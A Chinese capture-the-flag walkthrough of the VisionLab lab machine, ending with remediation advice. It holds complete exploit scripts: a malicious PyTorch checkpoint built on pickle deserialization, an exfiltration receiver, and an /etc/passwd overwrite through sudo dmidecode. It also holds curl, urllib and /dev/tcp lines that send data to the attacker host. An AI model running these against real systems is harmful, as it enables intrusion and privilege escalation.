跳到主要内容

VulNyx VisionLab 通关记录|PyTorch 反序列化与 dmidecode 提权

靶机链接:VisionLab

本文记录的是 VulNyx VisionLab 靶机(PyTorch 目标检测服务) 的完整攻击链。整条利用链完全自研,不依赖任何第三方公开 exploit:恶意 .pt Checkpoint 权重包、带合法校验和的伪造 SMBIOS 内存镜像全部手工构造,是一套涵盖“AI 模型反序列化 + 沙箱识别与穿透 + 二进制逆向 + 任意文件写入提权”的高质量实战样本。


0x01 基本信息

名称IP / 主机名说明
Kali Linux192.168.1.109攻击机
VisionLab192.168.1.104Debian 13 靶机(VisionLab 目标检测服务)

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、8000/tcp Uvicorn VisionLab锁定 Web 推理服务为突破口
API 枚举/openapi.json 暴露 /api/detect 接收可选二进制 model 字段发现用户可投递自定义 PyTorch 权重文件
版本指纹/api/health 返回 torch 2.5.1+cpu确认 weights_only=False 默认行为,存在反序列化 RCE 隐患
手工构造 .ptarchive/data.pkl 布局 + __reduce__ 自定义 payload纯 Python 标准库生成武器化 Checkpoint 文件
RCE 触发上传 evil.pt,HTTP POST 接收器捕获命令输出获得 vision 用户权限的远程代码执行
User Flag读取 /home/vision/user-48Jj1Lw.txt获取第一枚 Flag
沙箱识别visionlab.service 启用 NoNewPrivileges 深度沙箱,但未开启 ProtectHome明确必须跳出 systemd 沙箱才能利用 sudo
SSH 跳板通过 RCE 向 /home/vision/.ssh/authorized_keys 追加公钥获得不受 systemd 沙箱限制的独立 Shell
sudo 提权点sudo -l 发现 (ALL) NOPASSWD: /usr/sbin/dmidecode获得以 root 权限运行 dmidecode 的能力
二进制逆向分析 dmidecode 的 --no-sysfs-d FILE--dump-bin 逻辑构造出受控内容的 root 任意文件覆写原语
伪造 SMBIOS构造 1MiB 内存镜像,包含合法 _SM_ 入口点、校验和与 DMI 表将恶意数据合法转储为目标文件
Root 提权覆写 /etc/passwd 并追加 pwn::0:0:pwn:/root:/bin/bash空密码切换 root,获取 Root Flag

0x02 侦察与信息收集 (Reconnaissance)

1. TCP 端口与服务识别

使用 Nmap 对目标主机进行全端口扫描与服务版本探测:

nmap -sV -sC -O -T4 -p- 192.168.1.104 -oN nmap_full.txt

扫描结果:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
8000/tcp open http Uvicorn
|_http-server-header: uvicorn
|_http-title: VisionLab — Object Detection
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
Service Info: OS: Linux; CPE: cpe:/o:linux/linux_kernel

目标开放了 22 (SSH) 与 8000 (Uvicorn / FastAPI),运行着名为 VisionLab 的目标检测 Web 应用。


2. FastAPI 自动文档与 API 枚举

FastAPI 默认会生成 OpenAPI 规范文档。直接抓取 /openapi.json

curl -s http://192.168.1.104:8000/openapi.json | jq .paths
{
"/": { "get": { "summary": "Index" } },
"/api/health": { "get": { "summary": "Health" } },
"/api/model": { "get": { "summary": "Model Information" } },
"/api/detect": {
"post": {
"summary": "Detect",
"requestBody": {
"content": {
"multipart/form-data": {
"schema": {
"properties": {
"image": { "type": "string", "format": "binary" },
"model": { "anyOf": [{ "type": "string", "format": "binary" }, { "type": "null" }] },
"threshold": { "type": "number", "default": 0.5 }
},
"required": ["image"]
}
}
}
}
}
}
}

关键发现:

  • /api/detect 是一个 multipart/form-data 接口;
  • 该接口必填 image(图片文件),且允许可选上传 model(二进制模型权重)。

3. 服务指纹与安全参数探测

请求健康检查与模型信息接口:

curl -s http://192.168.1.104:8000/api/health; echo
curl -s http://192.168.1.104:8000/api/model; echo
{"status":"ok","model_loaded":true,"torch":"2.5.1+cpu","torchvision":"0.20.1+cpu","device":"cpu"}
{"architecture":"ssdlite320_mobilenet_v3_large","classes":["__background__","person",...],"class_count":91,"checkpoint":"default_model.pt"}

测试 model 上传接口的校验逻辑:

# 下载一张合法的示例图片备用
curl -s http://192.168.1.104:8000/static/images/climbing.jpg -o climbing.jpg

# 测试非 .pt/.pth 文件上传
curl -s -X POST http://192.168.1.104:8000/api/detect \
-F "image=@climbing.jpg" -F "model=@climbing.jpg"
{"detail":"The checkpoint must use a .pt or .pth extension."}

阶段推导:

特征实际表现安全影响
PyTorch 版本2.5.1+cpuPyTorch 直到 2.6 才将 torch.load() 默认参数改为 weights_only=True;更关键的是,服务端源码显式指定了 weights_only=False,导致任意版本的反序列化保护均被主动绕过
文件校验仅根据文件名后缀是否为 .pt / .pth 过滤只要后缀合法,文件内容将直接送入 torch.load() 反序列化执行任意代码

0x03 漏洞探测与分析 (Vulnerability Analysis)

1. PyTorch Checkpoint 反序列化 RCE 原理

PyTorch 保存的标准模型 Checkpoint (torch.save) 本质上是一个经过封装的 ZIP 归档包。当使用 torch.load() 加载模型时:

  1. 解压 ZIP 包并寻找 archive/data.pkl(或顶级 data.pkl);
  2. 使用 Python 原生 pickle.loads() 解析该文件;
  3. Pickle 协议在还原自定义类实例时,会自动调用该类定义的 __reduce__ 方法;
  4. __reduce__ 返回一个可调用对象(如 subprocess.run)和参数元组,反序列化器会立即调用它,从而实现任意命令执行。

2. 纯 Python 手工构造恶意 Checkpoint (.pt)

无需在攻击机上安装体积庞大的 PyTorch,利用 Python 标准库 picklezipfile 即可直接构建武器化 .pt 文件。

配套脚本: craft_pt.py — 纯 Python 构造带恶意 pickle 的 PyTorch checkpoint 脚本。

#!/usr/bin/env python3
"""craft_pt.py — 纯 Python 构造带恶意 pickle 的 PyTorch checkpoint (.pt)
无需安装 PyTorch:torch.load() 默认反序列化 zip 包内的 archive/data.pkl,
触发 __reduce__ 执行任意命令(适用于 torch <= 2.5.1 或未显式指定 weights_only=True 的环境)。

用法:
python3 craft_pt.py "<要执行的命令>" <输出文件名.pt>

示例:
python3 craft_pt.py "id | curl -s -X POST --data-binary @- http://192.168.1.109:8888/loot" evil.pt
"""

import pickle
import sys
import zipfile


class RCE:
def __init__(self, cmd: str):
self.cmd = cmd

def __reduce__(self):
import subprocess

return (subprocess.run, (["/bin/sh", "-c", self.cmd],))


def craft_checkpoint(cmd: str, output_path: str) -> None:
payload = pickle.dumps(RCE(cmd))
with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr("archive/.format_version", b"3")
z.writestr("archive/data.pkl", payload)
z.writestr("archive/byteorder", b"little")
z.writestr("archive/version", b"3\n")
print(f"[+] 成功生成恶意 checkpoint: {output_path} (Payload: {cmd!r})")


if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <命令> <输出.pt>")
sys.exit(1)
craft_checkpoint(sys.argv[1], sys.argv[2])

构造过程避坑指南

尝试步骤ZIP 内部结构服务端报错信息根因与修正方式
尝试 1根目录下放置 data.pkl[enforce fail at inline_container.cc:174] file in archive is not in a subdirectory: .format_version.PyTorch 新容器格式强制要求条目包含子目录前缀,需统一加入 archive/
尝试 2archive/version 内容为 b"0\n"Attempted to read a PyTorch file with version 0, but the minimum supported version for reading is 1...version 文件需明确写为支持的版本号(如 b"3\n"
尝试 3subprocess.run([["/bin/sh", ...]])TypeError: expected str, bytes or os.PathLike object, not list.参数必须是一维列表 ["/bin/sh", "-c", cmd]

3. 无回显命令执行通道构建 (HTTP POST 收集器)

由于模型加载异常时 HTTP 响应只会返回 422/500 JSON 错误,命令执行是无回显的。我们在攻击机上启动轻量级 HTTP 监听器接收 Base64 编码的命令结果:

配套脚本: collector.py — 接收目标 Base64 回传数据的 HTTP 收集器。

#!/usr/bin/env python3
"""collector.py — 轻量级 HTTP POST 数据接收器
用于在无回显 RCE 场景下接收目标回传的数据并保存到本地。

用法:
python3 collector.py [端口,默认 8888] [保存目录,默认 ./loot]
"""

from http.server import BaseHTTPRequestHandler, HTTPServer
import os
import sys
import time

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8888
LOOT_DIR = sys.argv[2] if len(sys.argv) > 2 else "./loot"


class LootHandler(BaseHTTPRequestHandler):
def _save(self):
length = int(self.headers.get("Content-Length", 0))
data = self.rfile.read(length)
ts = int(time.time() * 1000)
path = self.path.strip("/").replace("/", "_") or "root"
filename = os.path.join(LOOT_DIR, f"{ts}_{path}.bin")

with open(filename, "wb") as f:
f.write(data)

client_ip = self.client_address[0]
print(f"[+] 收到来自 {client_ip} 的回传 ({len(data)} 字节) -> {filename}")

self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"OK\n")

do_POST = _save
do_GET = _save

def log_message(self, format, *args):
pass


def run_server():
os.makedirs(LOOT_DIR, exist_ok=True)
server = HTTPServer(("0.0.0.0", PORT), LootHandler)
print(f"[*] HTTP 回传接收器已启动,监听 0.0.0.0:{PORT},数据保存至 {LOOT_DIR}")
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n[*] 接收器已停止。")


if __name__ == "__main__":
run_server()

0x04 初始访问与用户 Flag (Initial Access)

1. 投递载荷触发 RCE 与回连确认

命令组合与管道优先级

在无回显探针中,多条命令必须包裹在子 shell $(id; hostname) 或大括号命令组 { id; hostname; } 中再送入外带通道。若直接写为 id; hostname | curl ...,由于分号优先级高于管道,id 的输出会直接打印到服务端不可见的标准输出而丢失,curl 最终只会传回 hostname 的内容。

目标回连工具依赖

本靶机默认预装了 curl 工具。若在其他极简镜像中复现且遇到目标未安装 curl 时,可改用以下纯 Python 或 Bash 内置单行载荷作为兜底:

  • Python urllib 兜底: python3 -c "import urllib.request, subprocess; data=subprocess.check_output('id; hostname', shell=True); urllib.request.urlopen('http://192.168.1.109:8888/pwn', data=data)"
  • Bash /dev/tcp 兜底: bash -c 'exec 3<>/dev/tcp/192.168.1.109/8888; OUT=$(id; hostname); echo -e "POST /pwn HTTP/1.0\r\nContent-Length: ${#OUT}\r\n\r\n$OUT" >&3'

启动 HTTP 收集器,生成第一个探针 Checkpoint 并上传:

# 1. 启动接收器
python3 collector.py 8888 ./loot &

# 2. 生成探针并上传
python3 craft_pt.py "curl -s -X POST --data-binary \"\$(id; hostname)\" http://192.168.1.109:8888/pwn" evil.pt
curl -s -X POST http://192.168.1.104:8000/api/detect \
-F "image=@climbing.jpg" -F "model=@evil.pt"

服务端响应:

{"detail":"The uploaded file is not a checkpoint dictionary."}

虽然服务端抛出了“非模型字典”异常,但反序列化执行早已完成。查看本地 loot/ 目录中的捕获数据:

uid=1000(vision) gid=1000(vision) groups=1000(vision),24(cdrom),...
VisionLab

RCE 确认成功。 我们已获得目标靶机上 vision 用户的任意命令执行权限。


2. 自动化信息收集与 User Flag 获取

编写批量收集命令并通过 RCE 获取系统信息与 User Flag:

python3 craft_pt.py "cat /home/vision/user-48Jj1Lw.txt | curl -s -X POST --data-binary @- http://192.168.1.109:8888/flag" flag.pt
curl -s -X POST http://192.168.1.104:8000/api/detect \
-F "image=@climbing.jpg" -F "model=@flag.pt" >/dev/null

User Flag:

f654b2849e638c52cdb826646476c2d0

3. 目标源码审计与漏洞成因确认

通过 RCE 查看 /opt/visionlab/app/checkpoints.py 的核心模型加载函数:

def load_detector(checkpoint_path: str | Path, ...) -> LoadedDetector:
# Intentionally vulnerable sink for the cybersecurity laboratory.
checkpoint = torch.load(
Path(checkpoint_path),
map_location="cpu",
weights_only=False, # 显式指定 False,导致未受限反序列化
)
...

源码清楚地展示了漏洞成因:服务端直接将用户上传的临时文件路径传给 torch.load(),且显式配置了 weights_only=False


0x05 权限提升 (Privilege Escalation)

1. systemd 沙箱分析与 SSH 跳板绕过

在 RCE 中直接执行 sudo -l 或提权尝试会直接报错:

sudo: The "no new privileges" flag is set, which prevents sudo from running as root.

检查 /etc/systemd/system/visionlab.service 的服务单元定义:

[Service]
User=vision
Group=vision
WorkingDirectory=/opt/visionlab
ExecStart=/opt/visionlab/.venv/bin/python -m uvicorn app.main:app --host 0.0.0.0 --port 8000 --workers 1

# 沙箱安全加固配置
NoNewPrivileges=true
CapabilityBoundingSet=
AmbientCapabilities=
PrivateDevices=true
PrivateTmp=true
ProtectSystem=strict
#ProtectHome=read-only <-- 关键:被注释掉了,允许写 /home/vision
RestrictSUIDSGID=true
ReadWritePaths=/opt/visionlab/.cache

关键机制分析:

  1. NoNewPrivileges=true 导致子进程无法通过 SUID 或 sudo 提升权限;
  2. #ProtectHome=read-only 被注释掉,使得 vision 用户的家目录仍然可写;
  3. sshd 是由 root 独立运行的系统服务,不继承 visionlab.service 的 systemd 限制。

因此,利用 RCE 向 /home/vision/.ssh/authorized_keys 写入攻击机的 SSH 公钥,通过 SSH 登录即可获得不受沙箱约束的完整 Shell:

PUB=$(cat ~/.ssh/id_ed25519.pub)
CMD="mkdir -p ~/.ssh && chmod 700 ~/.ssh && echo '$PUB' >> ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys"

python3 craft_pt.py "$CMD" ssh_inject.pt
curl -s -X POST http://192.168.1.104:8000/api/detect \
-F "image=@climbing.jpg" -F "model=@ssh_inject.pt" >/dev/null

通过 SSH 登录目标:

ssh -o StrictHostKeyChecking=no vision@192.168.1.104

2. sudo 提权面枚举

在不受限制的 SSH 会话中执行 sudo -l

vision@VisionLab:~$ sudo -l
Matching Defaults entries for vision on VisionLab:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User vision may run the following commands on VisionLab:
(ALL) NOPASSWD: /usr/sbin/dmidecode

目标允许 vision 用户免密以 root 身份执行 /usr/sbin/dmidecode


3. dmidecode 逆向分析与写原语构建

dmidecode 通常用于读取硬件 DMI/SMBIOS 数据,GTFOBins 没有现成条目。将二进制拖回攻击机进行静态逆向:

scp vision@192.168.1.104:/usr/sbin/dmidecode ./dmidecode
objdump -d --no-show-raw-insn dmidecode > dmi.asm

查看支持的命令行参数与内部处理逻辑:

Options:
-d, --dev-mem FILE Read memory from device FILE (default: /dev/mem)
--dump-bin FILE Dump the DMI data to a binary file
--no-sysfs Do not attempt to read DMI data from sysfs files

结合汇编与源码流程定位到核心逻辑:

  1. 输入源分支与环境依赖:
    • 默认情况下,dmidecode 会优先尝试读取 /sys/firmware/dmi/tables/
    • 当传入 --no-sysfs 时,dmidecode 会跳过 sysfs 表;
    • 在 Legacy BIOS 启动模式下(无 EFI 运行时表 /sys/firmware/efi/systab),程序会回退到传统物理内存扫描流程(0xF00000x100000),此时 -d FILE 参数指定的自定义 1MiB 内存镜像文件生效并被正确解析;
    • 在 UEFI/EFI 启动环境下,dmidecode 会优先通过 EFI 获取高位物理地址并直接读取,导致读取 1MiB 自定义文件时因物理地址越界而报错失败。因此本利用链依赖 Legacy BIOS 引导的虚拟机/物理机环境
  2. 转储写入流程: 函数 write_dump 会以二进制格式转储解析出的 DMI 数据,写入顺序为:
    • 先以 "wb" 模式打开 --dump-bin 指定的目标文件,写入 DMI 结构表体
    • 再以 "ab" 模式追加写入 31 字节 SMBIOS 入口点 (Entry Point)
先核对引导模式与工具参数

在实战与本地复现中,可通过以下命令快速自检目标环境是否满足利用条件:

# 1. 确认系统引导模式非 EFI(目录不存在即为 Legacy BIOS)
ls -d /sys/firmware/efi 2>/dev/null || echo "[+] 当前为 Legacy BIOS 引导,支持内存扫描利用"

# 2. 检查 dmidecode 版本与参数支持
sudo /usr/sbin/dmidecode -V

利用原语形成:

sudo /usr/sbin/dmidecode --no-sysfs -d <自控内存镜像> --dump-bin <目标文件>

只要我们构造一个符合 SMBIOS 规范的伪造内存镜像,dmidecode 就会将其中受控的内容以 root 属主写入任意目标文件。


4. 伪造 SMBIOS / DMI 内存镜像

SMBIOS 规范要求内存镜像包含两大部分:

  1. SMBIOS 32 位入口点 (_SM_): 位于 0xF0000 偏移处,固定 31 字节,包含中间校验和与全局校验和。
  2. DMI 结构表: 位于 0xFE000 偏移处。我们定义两个结构体:
    • Type 126 结构(未分配/自定义类型): Header 4 字节,后接 String Area(存放我们的自定义文本 Payload);
    • Type 127 结构(End-of-Table): 标识结构表结束。

5. 落点选择与容错复盘

--dump-bin 输出文件的整体布局为: [DMI 结构表(含 Payload)] + [31 字节二进制 SMBIOS 入口点]

落点尝试目标路径结果根因复盘
落点 A/etc/cron.d/pwn失败Debian cron 对配置文件格式极为严格,检测到文件尾部的二进制垃圾字节(包含 \0 等不可见字符)时会直接报错并丢弃整个文件。
落点 B/etc/passwd成功Linux 的 getpwent / pam_unix 采用逐行文本解析;首行非法的二进制头会被自动忽略,只要包含完整的原账户并在末尾追加合法行即可完美生效。

6. 覆写 /etc/passwd 注入 UID 0 用户并切换 root

覆盖前保留完整原文件

由于 --dump-bin 会整文件覆盖目标,为确保系统正常运行,必须将原 /etc/passwd 的内容完整嵌入 Payload。

配套脚本: mkpasswd.py — 构造伪造 SMBIOS 镜像覆写 /etc/passwd 并追加 UID 0 用户的生成脚本。

#!/usr/bin/env python3
"""mkpasswd.py — 构造伪造 SMBIOS 内存镜像,配合 dmidecode --dump-bin 覆写 /etc/passwd
原理:
dmidecode --no-sysfs -d <FILE> --dump-bin <TARGET> 会将 DMI 表与 SMBIOS 入口点以二进制写入目标文件:
[DMI 结构表体 (包含自定义 string)][SMBIOS 入口点 (31 字节)]
由于 /etc/passwd 容忍非结构化首行垃圾,我们在自定义 DMI Structure (Type 126) 的 String Area
中填充原始 passwd 内容 + 追加的 UID 0 空密码用户,从而实现无损提权。

用法:
python3 mkpasswd.py <原始 passwd 文件路径> <输出内存镜像路径> [新用户名,默认 pwn]

示例:
python3 mkpasswd.py /etc/passwd fakemem_pw.bin pwn
"""

import sys


def build_fake_smbios(orig_passwd_path: str, output_path: str, username: str = "pwn") -> None:
with open(orig_passwd_path, "rb") as f:
orig_data = f.read()

if not orig_data.endswith(b"\n"):
orig_data += b"\n"

# 前导换行隔离首行二进制垃圾,末尾追加 UID 0 空密码用户
payload = b"\n" + orig_data + f"{username}::0:0:{username}:/root:/bin/bash\n".encode("utf-8")

# 构造 DMI 结构表:Type 126 自定义结构包含 payload,Type 127 终止结构
table = bytes([126, 4, 0x00, 0x00]) + payload + b"\x00\x00"
table += bytes([127, 4, 0xFE, 0xFF]) + b"\x00\x00"
tbl_len = len(table)

if tbl_len > 65535:
raise ValueError(f"DMI 表过大 ({tbl_len} 字节),超过 64KB 限制")

# 构造 31 字节 32 位 SMBIOS 入口点
ep = bytearray(31)
ep[0:4] = b"_SM_"
ep[5] = 31 # Entry Point 长度
ep[6] = 2 # Major Version
ep[7] = 5 # Minor Version
ep[8] = 0x24 # Max Structure Size
ep[9] = 0x00 # Entry Point Revision
ep[0x0A] = 0 # Formatted Area
ep[0x10:0x15] = b"_DMI_"

TBL_ADDR = 0x0FE000
ep[0x16] = tbl_len & 0xFF
ep[0x17] = (tbl_len >> 8) & 0xFF
for i in range(4):
ep[0x18 + i] = (TBL_ADDR >> (8 * i)) & 0xFF
ep[0x1C] = 2 # 结构数量 (Type 126 + Type 127)
ep[0x1D] = 0
ep[0x1E] = 0x25 # BCD 修订版 2.5

# 校验和计算
ep[0x15] = (-sum(ep[0x10:0x1F])) & 0xFF # Intermediate Checksum
ep[0x04] = (-sum(ep[0x00:0x1F])) & 0xFF # Anchor String Checksum

# 构建 1 MiB 内存镜像
img = bytearray(0x100000)
img[TBL_ADDR : TBL_ADDR + tbl_len] = table
img[0xF0000 : 0xF0000 + 31] = ep

with open(output_path, "wb") as f:
f.write(img)

print(f"[+] 成功生成伪造内存镜像: {output_path}")
print(f" - DMI 表长度: {tbl_len} 字节 (包含 Payload: {len(payload)} 字节)")
print(f" - 新增特权用户: {username} (UID=0, GID=0, 无密码)")


if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <原始 passwd 路径> <输出镜像路径> [新用户名]")
sys.exit(1)
uname = sys.argv[3] if len(sys.argv) > 3 else "pwn"
build_fake_smbios(sys.argv[1], sys.argv[2], uname)

执行提权操作:

# 1. 抓取目标当前的 /etc/passwd
scp vision@192.168.1.104:/etc/passwd ./passwd.orig

# 2. 生成伪造镜像并上传
python3 mkpasswd.py ./passwd.orig fakemem_pw.bin pwn
scp fakemem_pw.bin vision@192.168.1.104:/home/vision/fakemem_pw.bin

# 3. 目标端以 root 身份覆写 /etc/passwd
ssh vision@192.168.1.104 \
'sudo /usr/sbin/dmidecode --no-sysfs -d /home/vision/fakemem_pw.bin --dump-bin /etc/passwd'

执行输出:

# dmidecode 3.4
Scanning /home/vision/fakemem_pw.bin for entry point.
SMBIOS 2.5 present.
2 structures occupying 1273 bytes.
Table at 0x000FE000.

# Writing 1273 bytes to /etc/passwd.
# Writing 31 bytes to /etc/passwd.

检查写入后的 /etc/passwd 末尾:

ssh vision@192.168.1.104 'tail -n 4 /etc/passwd'
sshd:x:989:65534:sshd user:/run/sshd:/usr/sbin/nologin
vision:x:1000:1000:vision,,,:/home/vision:/bin/bash
pwn::0:0:pwn:/root:/bin/bash

尾部数据与解析结果

dmidecode 输出可以看到,工具在写入 DMI 表体(1273 字节)后,又以追加模式写入了 31 字节的 SMBIOS 入口点数据。因此落盘后的 /etc/passwd 尾部实际上包含这 31 字节二进制残留(包含 \0 与不可见字符)。

Linux 系统的账户库(getpwent / PAM)采用逐行扫描,尾部无法匹配冒号格式的二进制乱码行会被解析器自动忽略,完全不影响 pwn 账户的正常加载与特权切换。这也印证了前面落点评估中选择 /etc/passwd(容忍非结构行)而非 /etc/cron.d(对不可见字符报错抛弃)的关键决策。


7. 切换 root 与获取 Root Flag

pwn 用户的密码字段为空,直接通过 su 切换:

ssh vision@192.168.1.104 'printf "\n" | script -qec "su pwn -c \"id; whoami\"" /dev/null'
uid=0(root) gid=0(root) groups=0(root)
root

读取 Root Flag:

ssh vision@192.168.1.104 'printf "\n" | script -qec "su pwn -c \"cat /root/root.txt\"" /dev/null'
14fa7405194325a89bd063b8ad30fba2

0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/vision/user-48Jj1Lw.txt
  • 权限: -rw-r----- 1 root vision 33
  • 内容: f654b2849e638c52cdb826646476c2d0

Root Flag

  • 路径: /root/root.txt
  • 权限: -r-------- 1 root root 33
  • 内容: 14fa7405194325a89bd063b8ad30fba2

0x07 漏洞汇总

#漏洞名称严重程度漏洞位置利用方式与核心机理
1PyTorch Checkpoint 反序列化 RCECritical/api/detect 接口 (load_detector)源码显式指定 weights_only=False,上传恶意 .pt 触发 pickle.__reduce__ 执行任意命令
2systemd 沙箱隔离不完全Medium/etc/systemd/system/visionlab.service未限制 ProtectHome,允许被渗透的 Web 进程向用户家目录注入 SSH 公钥并绕过 NoNewPrivileges
3危险 Sudo 二进制授权High/etc/sudoers (dmidecode)允许免密以 root 执行 dmidecode,Legacy BIOS 下通过 --no-sysfs--dump-bin 构成受控内容的任意文件写入原语
4密码文件容错解析缺陷Medium/etc/passwd解析器容忍首行二进制头,使得攻击者可通过转储构造包含空密码 UID 0 特权账户的合法文件

0x08 敏感文件与关键配置清单

文件 / 路径权限 / 属主作用与说明
/opt/visionlab/app/checkpoints.pyvision:vision 664Web 应用模型加载核心模块,包含脆弱的 torch.load 调用
/etc/systemd/system/visionlab.serviceroot:root 644systemd 守护进程单元,配置了 NoNewPrivileges 沙箱加固规则
/home/vision/.ssh/authorized_keysvision:vision 600SSH 公钥认证文件,用于跳出 systemd 沙箱约束
/usr/sbin/dmidecoderoot:root 755具备 Sudo 免密权限的二进制文件,转储功能被武器化为任意写原语
/etc/passwdroot:root 644系统用户账户库,被覆写注入 pwn::0:0 空密码特权用户

0x09 复盘总结

  1. AI / ML 推理接口已成为高危攻击面。 随着 LLM 与 CV 模型的普及,模型加载功能经常被直接暴露给公网。PyTorch 权重本质是 Zip + Pickle,在没有强校验或 weights_only 保护的情况下,上传模型等同于开放远程 Shell。
  2. 警惕「版本升级」的安全盲区与显式参数覆盖。 虽然 PyTorch 在 2.6 之后将 weights_only 默认值调整为 True,但在很多历史遗留或业务代码中,开发者常因兼容性报错而显式硬编码 weights_only=False。显式参数会直接覆盖框架默认安全策略,即便在最新版 PyTorch 环境下仍会导致 RCE。
  3. 摆脱依赖限制,直接操作数据规范。 Checkpoint 只是 ZIP 归档,无需本地安装几百 MB 的深度学习框架,直接使用标准库按照规范构造 archive/data.pkl.format_version 即可完成武器化。
  4. 深入理解 systemd 安全沙箱的边界。 NoNewPrivileges 能够阻止沙箱内的特权提升,但只要允许写入共享持久化区域(如用户家目录),攻击者即可通过 SSH、Cron 等旁路服务建立不受沙箱限制的新上下文。
  5. 不要盲信 GTFOBins,冷门二进制要靠逆向。 dmidecode 虽不在标准提权清单中,但通过对其命令行参数(--no-sysfs-d--dump-bin)与内部 fopen/fwrite 流程的逆向分析,成功挖掘出高价值的任意文件写原语。
  6. 关注底层固件与引导环境对提权链的影响。 本机利用链依赖 Legacy BIOS 引导机制,dmidecode 在跳过 sysfs 后顺利回退到物理内存扫描;而在 UEFI 环境下 dmidecode 会优先访问 EFI 地址表,导致内存镜像文件解析失败。理解引导模式差异是排查提权链环境依赖的关键。
  7. 文件格式规范是构造 Payload 的基石。 掌握 SMBIOS 规范中 31 字节 _SM_ 入口点校验和算法与 DMI 结构表 Type 126 String Area 机制,使得我们能够欺骗内核级工具生成目标数据。
  8. 写入落点要充分评估下游解析器的容错能力。 cron.d 遇到二进制头会报错退出,而 /etc/passwd 逐行解析则能自动包容首行垃圾数据。根据文件解析器的容错特征调整落点是写原语利用的关键。
  9. 破坏性覆盖必须保留全量历史数据。 --dump-bin 属于 Truncate 写入,覆写系统核心配置文件前必须先将原文件内容读出并拼接,避免造成系统崩溃或服务拒绝,遵循渗透测试最小破坏原则。

0x0A 修复与防御建议

风险维度针对性防御措施
模型加载安全1. torch.load() 中显式指定 weights_only=True,或迁移至安全无代码执行风险的格式(如 HuggingFace Safetensors——这是唯一根本性修复措施;注意:仅升级 PyTorch 版本无法防御显式声明 weights_only=False 的脆弱代码
2. 生产环境严禁允许不可信普通用户直接上传自定义 PyTorch 权重文件;
3. 对必须上传的模型权重实施严格的白名单架构校验与数字签名验证。
服务沙箱加固1. 在 visionlab.service 中取消注释并启用 ProtectHome=trueProtectHome=read-only,防止向用户目录写入 SSH 密钥;
2. 对应用进程启用临时隔离目录(PrivateTmp=true)。
Sudo 权限最小化1. 严格审查 sudoers 配置,避免向包含文件写入或转储功能的工具(如 dmidecodetcpdump)授予无限制 root 执行权限;
2. 若必须执行 dmidecode,应限定具体只读参数,禁用 --dump-bin-d 选项。
核心文件监控部署文件完整性监控(如 AIDE / Wazuh / Tripwire),对 /etc/passwd/etc/shadow 等核心系统配置文件的任何非预期的写入与属性变更实施实时告警。

0x0B 附件下载

附件文件作用与功能说明下载链接
craft_pt.py纯 Python 构造带恶意 Pickle 载荷的 PyTorch Checkpoint (.pt) 脚本下载
collector.py用于无回显 RCE 数据回传接收的轻量级 HTTP POST 监听器下载
mkpasswd.py构造伪造 SMBIOS 内存镜像配合 dmidecode 覆写 /etc/passwd 的提权脚本下载